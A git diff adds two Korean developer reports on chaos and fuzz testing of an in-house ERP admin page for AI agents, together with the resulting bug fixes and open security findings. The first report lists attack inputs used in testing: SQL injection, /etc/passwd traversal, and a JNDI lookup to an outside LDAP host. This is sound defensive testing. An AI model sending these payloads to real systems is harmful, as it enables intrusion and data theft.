diff --git a/notes/johngreen/2026-05-02-agents-gremlins-report.md b/notes/johngreen/2026-05-02-agents-gremlins-report.md
new file mode 100644
index 00000000..f89492d4
--- /dev/null
+++ b/notes/johngreen/2026-05-02-agents-gremlins-report.md
@@ -0,0 +1,181 @@
+# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트
+
+- **일시**: 2026-05-02
+- **대상**: `http://localhost:9772/admin/aiAssistant/agents`
+- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
+- **계정**: Invyone (최고 관리자)
+- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림
+
+---
+
+## 1. 테스트 구성
+
+| 단계 | 도구/방식 | 횟수 | 종(Species) |
+|---|---|---|---|
+| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
+| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
+| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |
+
+### 사용한 Fuzz Payload
+```
+"", "' OR '1'='1", "", "A".repeat(3000),
+"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
+"
", "${jndi:ldap://x.com/a}", " "
+```
+
+### 수집기 설치 항목
+- `window.error` 이벤트
+- `unhandledrejection` 이벤트
+- `console.error` 패치
+- `fetch` 패치 (status >= 400 캐치)
+- `XMLHttpRequest.open` 패치 (status >= 400 캐치)
+
+---
+
+## 2. 결과 요약
+
+| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
+|---|---|---|---|
+| 소요 시간 | 3.5s | 12.3s | 1.6s |
+| 신규 버그 | 0 | 0 | **1** |
+| URL 변경 | 없음 | 없음 | 없음 |
+
+**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)
+
+---
+
+## 3. 발견된 이슈
+
+### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생
+
+- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생
+- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`)
+- **재현 시도**: 직접 fetch 9건 — **모두 200 OK**
+ - `?` 빈 query
+ - `?search=`
+ - `?search=test`
+ - `?search=' OR '1'='1` (인코딩 / 비인코딩)
+ - `?page=-1`
+ - `?page=AAAA...` (300자)
+ - `?id=null`
+- **추정 원인**:
+ - Race condition (동시 요청 폭주)
+ - 일시적 DB lock 또는 트랜잭션 충돌
+ - Spring 측 일시적 세션 검증 실패
+- **심각도**: 🟡 중 (재현 불가, 산발성)
+- **권장 조치**:
+ - Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인
+ - `MDC` 로 request id 남겨 향후 동일 패턴 추적
+
+### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심
+
+- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견
+- **증거**:
+ - 화면 표시: **"등록된 에이전트가 없습니다"**
+ - 실제 API 응답:
+ ```json
+ {
+ "success": true,
+ "data": [{
+ "id": 13,
+ "agent_id": "agent-766beb3a",
+ "name": "UI 테스트 에이전트 (수정됨)",
+ "description": "두 번째 에이전트 (UI 흐름)",
+ "model": "claude-sonnet-4-20250514",
+ ...
+ }]
+ }
+ ```
+- **추정 원인 후보**:
+ 1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
+ 2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함
+ 3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
+- **심각도**: 🔴 높음
+ - CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
+- **권장 조치**:
+ 1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
+ 2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인
+ 3. 직접 호출 응답에 `company_code` 가 있는지 확인
+
+---
+
+## 4. 잡힌 것 / 잡히지 않은 것
+
+| 항목 | 결과 |
+|---|---|
+| UI 크래시 | ✅ 없음 |
+| 무작위 클릭 600회 안정성 | ✅ 견고 |
+| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
+| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
+| Console 에러 (앱 발생) | ✅ 0건 |
+| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) |
+| 백엔드 5xx | 🟡 1건 (산발) |
+| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
+| Visual regression | 미검증 (별도 도구 필요) |
+
+---
+
+## 5. 결론 및 다음 단계
+
+### 결론
+- **에이전트 관리 페이지는 무작위 폭격에 매우 견고**
+- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
+- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견**
+
+### 다음 단계
+1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
+2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발
+3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
+4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정)
+
+### 재사용 가능한 자산
+- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행
+- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능
+
+---
+
+## 6. 사용한 스크립트 (재현용)
+
+```javascript
+// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
+window.alert = () => {};
+window.confirm = () => true;
+window.prompt = () => '';
+
+window.__gremBugs = [];
+window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
+window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));
+
+const origFetch = window.fetch;
+window.fetch = async (...args) => {
+ const res = await origFetch(...args);
+ if (res.status >= 400) {
+ const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
+ window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
+ }
+ return res;
+};
+
+await new Promise((res, rej) => {
+ const s = document.createElement('script');
+ s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
+ s.onload = res; s.onerror = rej;
+ document.head.appendChild(s);
+});
+
+// 2. 폭격
+await window.gremlins.createHorde({
+ species: [
+ window.gremlins.species.clicker(),
+ window.gremlins.species.toucher(),
+ window.gremlins.species.formFiller(),
+ window.gremlins.species.scroller(),
+ window.gremlins.species.typer()
+ ],
+ mogwais: [],
+ strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
+}).unleash();
+
+// 3. 결과
+console.log(window.__gremBugs);
+```
diff --git a/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md b/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md
new file mode 100644
index 00000000..f3814825
--- /dev/null
+++ b/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md
@@ -0,0 +1,216 @@
+# 2026-05-02 — 그렘린 카오스 테스트 + JSONB Fix Autopilot 종합 리포트
+
+## 세션 개요
+
+브라우저 그렘린 카오스 테스트 (Claude-in-Chrome MCP + gremlins.js + fetch hook) 로 INVYONE 의 숨겨진 백엔드/프론트엔드 버그를 발견하고 일괄 수정.
+
+**본 세션의 핵심 인사이트**: 그렘린 폭격 자체는 클라이언트 크래시를 거의 안 잡았지만, **fetch hook + 자동 메뉴 순회 + 백엔드 docker logs stack trace 매핑** 3종 세트가 진짜 ROI. 이 패턴을 `/oh-my-claudecode:gremlins` 스킬로 캐시.
+
+---
+
+## 발견된 버그 (총 7개)
+
+### Round 1 — Audit Log
+
+| # | 종류 | 파일 / 위치 | Fix 상태 |
+|---|---|---|---|
+| 1 | URL 단/복수 mismatch (404) | `frontend/lib/api/auditLog.ts:62, 74, 90` + `frontend/components/screen/CopyScreenModal.tsx:1172` | ✅ `/audit-log` → `/audit-logs` |
+| 2 | DB 컬럼명 mismatch (500) | `backend-spring/.../mapper/auditLog.xml` (11곳) | ✅ `CREATED_DATE` → `CREATED_AT` |
+| 3 | API 응답 키 case mismatch | `frontend/lib/api/auditLog.ts:35-38` interface + `audit-log/page.tsx` (4곳) | ✅ camelCase → snake_case |
+
+### Round 2 — Multi-Agent Workspace + AI 모듈 전반
+
+| # | 종류 | 파일 / 위치 | Fix 상태 |
+|---|---|---|---|
+| 4 | JSONB string vs array (Client Exception) | `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx:598` (`memberConnectors.map`) | ✅ Phase 1+3 |
+| 5 | AI 모듈 Service 5개에 동일 패턴 누락 | `AiAgentApiKeyService`, `AiAgentProviderService`, `AiAgentConversationService`, `AiAgentService`, `AiSchedulerService` | ✅ Phase 2 |
+| 6 | `getEntityById` 잉여 분기 (code review N6) | `AiAgentGroupService.java:94-98` | ✅ N6 simplify |
+| 7 | 그렘린이 트리거한 산발적 5xx | `/api/ai-agents` GET | 🟡 재현 안 됨, race condition 의심 |
+
+---
+
+## 변경된 파일 전체 목록
+
+### Backend (Java/Spring)
+- `backend-spring/src/main/resources/mapper/auditLog.xml` (CREATED_DATE → CREATED_AT, 11곳)
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentGroupService.java` (parseJsonField + memberToResponseMap)
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java` (list 응답 변환)
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java` (toMaskedMap 보강 + getById/getEntityById 분리)
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentConversationService.java` (conversations + messages 변환)
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentService.java` (list/getById Map + getEntityById 분리)
+- `backend-spring/src/main/java/com/erp/ai/service/AiSchedulerService.java` (list/getById Map + getEntityById 분리)
+- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentApiKeyController.java` (return type generic)
+- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentController.java` (return type generic)
+
+### Frontend (Next.js/React)
+- `frontend/lib/api/auditLog.ts` (URL 4곳 + interface 4 key)
+- `frontend/app/(main)/admin/audit-log/page.tsx` (stats access 4곳)
+- `frontend/components/screen/CopyScreenModal.tsx` (audit-logs URL 1곳)
+- `frontend/lib/utils.ts` (`safeArray` / `safeObject` 헬퍼 추가)
+- `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx` (safeArray 적용 + import)
+
+### 메모리 / 스킬
+- `~/.claude/skills/gremlins/SKILL.md` (그렘린 카오스 테스트 OMC 스킬 신설)
+- `~/.claude/projects/.../memory/feedback_gremlins_default.md` (그렘린 default 1000마리 사용자 선호)
+
+---
+
+## Phase 4 Validation 결과
+
+3개 reviewer 병렬 검증.
+
+| Reviewer | 결과 |
+|---|---|
+| **Architect** | PASS WITH NOTES |
+| **Code-reviewer** | APPROVE WITH NITPICKS |
+| **Security-reviewer** | NEEDS REVIEW (H1 발견) |
+
+본 task (JSONB fix) 는 모두 PASS. H1 은 인접한 보안 이슈로 별개 처리.
+
+---
+
+## 🔴 미처리 — Follow-up 필요 (별도 PR 권장)
+
+### H1 (HIGH 보안) — `AiAgentApiKey listAll` Cross-tenant 노출
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java:42-43`
+- `apiKeyMapper.listAll()` 에 `company_code` 필터 없음
+- `COMPANY_ADMIN` 이 다른 회사 API 키 목록 받음
+- **이번 fix 가 응답을 명확히 하면서 더 잘 노출되는 부수효과**
+- Mitigation 옵션:
+ - A) `listByCompany(companyCode)` mapper 쿼리 신설 + `COMPANY_ADMIN` 분기 변경
+ - B) `apiKeyMapper.xml` 의 `listAll` 에 `` 적용 + `SUPER_ADMIN` 만 별도 path
+ - C) Service 레벨에서 listAll 결과를 stream filter (단순, 단 풀 fetch)
+- **권장**: 운영 적용 전 1주일 내 fix
+
+### M1 — `AiLlmProvider.config` 평문 누출 가능성
+- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java:130, 136`
+- `api_key_encrypted` 는 `****+last4` 마스킹되지만 `config` JSONB 는 그대로 노출
+- 운영자가 config 안에 평문 secret 넣으면 list 응답에서 노출
+- Mitigation: config 키 이름 패턴 매칭 (`(?i)key|secret|token|password`) → 자동 마스킹
+
+### M2 — `AiAgentApiKeyController.create` 응답 inconsistency
+- `permissions` 필드가 list 에선 array, create 응답에선 string
+- frontend `safeArray` 가 안전망 역할이지만 contract 차원에서 일관성 결여
+- `AiAgentApiKeyService.toResponseMap` public 노출 → controller 에서 재사용 권장
+
+### M3 — `AiAgentProviderController.create/update` model 직접 노출
+- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentProviderController.java:44-46, 53-55`
+- `AiLlmProvider` model 그대로 응답 — `config` 가 string 으로 노출
+- create 직후 응답을 직접 setState 하면 같은 폭발
+
+### M4 — `workspace/page.tsx` 잔여 `connectors` 직접 접근 5곳
+- line 116, 124, 140, 196, 210, 496
+- 일부는 클라이언트 init state 라 안전, 일부는 백엔드 응답 사용 가능성
+- 모두 `safeArray(...)` 로 통일 권장 (한 페이지 일관성)
+
+### M5 — `api-keys-manage/page.tsx:374-379` `msg.tool_calls` 미방어
+- `safeObject` 적용 권장
+
+### N1 — `parseJsonField` 헬퍼 13벌 중복
+- AI 모듈 6 + 비-AI 모듈 7 = 총 13 Service 가 동일 헬퍼
+- CLAUDE.md "새 추상화 도입 안 함" 원칙엔 부합, 단 유지보수 비용 누적
+- 별도 chore PR `refactor: extract MapJsonHelper utility` 권장 (장기)
+
+### N2 — Naming 일관성 (`conv` 약어 vs 풀네임)
+- `convToResponseMap` → `conversationToResponseMap` 권장 (`AiAgentConversationService.java`)
+
+### N3 — `catch (Exception)` 너무 광범위
+- 모든 `parseJsonField` 가 `catch (Exception e)` → `catch (JsonProcessingException e)` 로 좁히기
+
+### Round 2 의 산발 5xx (재현 안 됨)
+- `GET /api/ai-agents` 가 폭격 중 1회 500 응답
+- 재현 시도 9건 모두 200
+- Race condition / DB lock 의심
+- MDC 로 request id 추가하여 향후 동일 패턴 추적 권장
+
+---
+
+## 검증 결과
+
+**Phase 1 효과 확인** (실제 백엔드 응답):
+```json
+GET /api/ai-agent-groups/{id}
+→ members[0].connectors: { isArray: true, type: "object", preview: "Array(0)" } ✅
+→ members[0].config: { isObject: true, type: "object", preview: "{}" } ✅
+HTTP 200 OK
+```
+
+이전 (fix 전):
+```
+connectors: STRING("[]") → frontend `.map()` 폭발
+```
+
+---
+
+## 사용한 OMC 도구
+
+- **Skill**: `gremlins` (이번 세션에서 신설)
+- **Skill**: `autopilot` (Phase 1+2+3 일괄 실행)
+- **Agent**: `architect` (옵션 A/B/C 자문 + Phase 4 검증)
+- **Agent**: `executor` (Phase 2 — 5 Service 일괄 변경)
+- **Agent**: `code-reviewer` (Phase 4 검증)
+- **Agent**: `security-reviewer` (Phase 4 검증, H1 발견)
+- **MCP**: `claude-in-chrome` (브라우저 자동화 + fetch hook)
+
+---
+
+## 확립된 패턴 (앞으로 재사용)
+
+### Backend JSONB 응답 표준
+```java
+// Service 의 응답 메서드 (컨트롤러가 호출하는 것) 만 변환
+public Map getById(long id) {
+ Entity e = mapper.getById(id);
+ if (e == null) return null;
+ Map row = new HashMap<>();
+ // ... 모든 필드 put
+ parseJsonField(row, "jsonb_field_1");
+ parseJsonField(row, "jsonb_field_2");
+ return row;
+}
+
+// 내부용 (model 그대로 필요한 곳, 예: LLM 호출)
+public Entity getEntityById(long id) { return mapper.getById(id); }
+
+private void parseJsonField(Map row, String key) {
+ Object val = row.get(key);
+ if (val instanceof String s && !s.isBlank()) {
+ try { row.put(key, objectMapper.readValue(s, Object.class)); }
+ catch (Exception e) { log.warn("Failed to parse JSONB field '{}': {}", key, e.getMessage()); }
+ }
+}
+```
+
+### Frontend 안전망
+```typescript
+import { safeArray, safeObject } from "@/lib/utils";
+
+// JSONB array 필드 사용
+const items = safeArray- (row.connectors);
+items.map(...) // 안전
+
+// JSONB object 필드 사용
+const cfg = safeObject(row.config);
+cfg.someKey // 안전
+```
+
+---
+
+## 향후 미래 버그 예방안
+
+CLAUDE.md 백엔드 섹션에 1단락 추가 권장:
+```markdown
+## JSONB 컬럼 응답 처리 (★ 절대 규칙)
+
+PostgreSQL JSONB 컬럼은 mapper 에서 `column::text AS column` 으로 SELECT 하고,
+**Service 레이어의 응답 메서드에서 `parseJsonField(row, "field1", ...)` 로 후처리**.
+프론트 응답에 String 인 채로 노출 금지.
+
+모범 사례: `BusinessRuleService.parseJsonField`, `AuditLogService.processChanges`,
+`AiAgentGroupService.memberToResponseMap`
+```
+
+---
+
+생성된 그렘린 스킬: `C:\Users\ramse\.claude\skills\gremlins\SKILL.md`
+다음 세션부터 `/gremlins` 또는 "그램린" 키워드로 자동 호출.